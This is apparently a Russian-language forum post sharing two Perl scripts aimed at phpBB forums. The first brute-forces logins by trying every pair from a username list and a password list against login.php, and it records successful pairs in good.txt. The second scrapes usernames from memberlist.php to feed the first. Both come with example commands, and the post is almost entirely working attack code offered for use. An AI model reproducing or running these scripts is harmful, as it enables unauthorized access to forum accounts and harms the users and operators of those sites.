Код:
#! /usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; if (@ARGV !=3 ) { &explain; exit 1; } my @users : shared; my @passwords : shared; my $thread_count = 15; my $forum = $ARGV[0]; open(user_list, "<$ARGV[1]"); @users = <user_list>; chomp @users; open(pass_list, "<$ARGV[2]"); @passwords = <pass_list>; chomp @passwords; $user_s = scalar @users; $pass_s = scalar @passwords; $total = $user_s * $pass_s; &start(); sub start { for (0 .. $thread_count) { $threads[$_] = threads->create(\&go, $_); } for(@threads) { $_->join(); } } sub go { while(@users) { $user = shift @users; foreach $password (@passwords) { chomp $password; chomp $user; $browser = LWP::UserAgent->new(); $browser->cookie_jar( HTTP::Cookies->new()); $html = $browser->post($forum."/login.php", [username => $user, password => $password, autologin => "on", login => "Connect"]); if ($html->{_rc} == 302) { open (good, ">>good.txt"); print good "$forum/login.php - $user;$password\r\n"; close(good); chomp $user; print "Current user : $user\n"; } else { open (bad, ">>bad.txt"); print bad "$forum/login.php - $user;$password\r\n"; close(bad); print "Current user : $user\n"; } } } } sub explain { system "clear"; print qq( [ phpbb bruteforce by ac1D (c) 2010 ] [ Using: $0 [forum] [users_list] [pass_list] ] ); }
./phpbb.pl http://phpbb.com/forum/ userslist.txt passlist.txt
Собрать пользователей можно этим скриптом:
Код:
#! /usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; open(users, ">>users.txt"); $forum = $ARGV[0]; for ($i=$ARGV[1];$i<$ARGV[2];$i++) { $start = $i * 50; $b = LWP::UserAgent->new(); $html = $b->get("$forum/memberlist.php?start=".$start)->content(); @cnt = split(/\n/, $html); foreach $str (@cnt) { if ($str =~ /"gen">(.*)<\/a><\/span><\/td>/) { @user = split(/>/, $1); print users $user[1]."\r\n"; print $user[1]."\r\n"; } } }
./grab.pl http://phpbb.com/forum/ 0 10
"0" - с какой страницы собирать пользователей, а "19" - по какую страницу собирать пользователей(memberlist.php)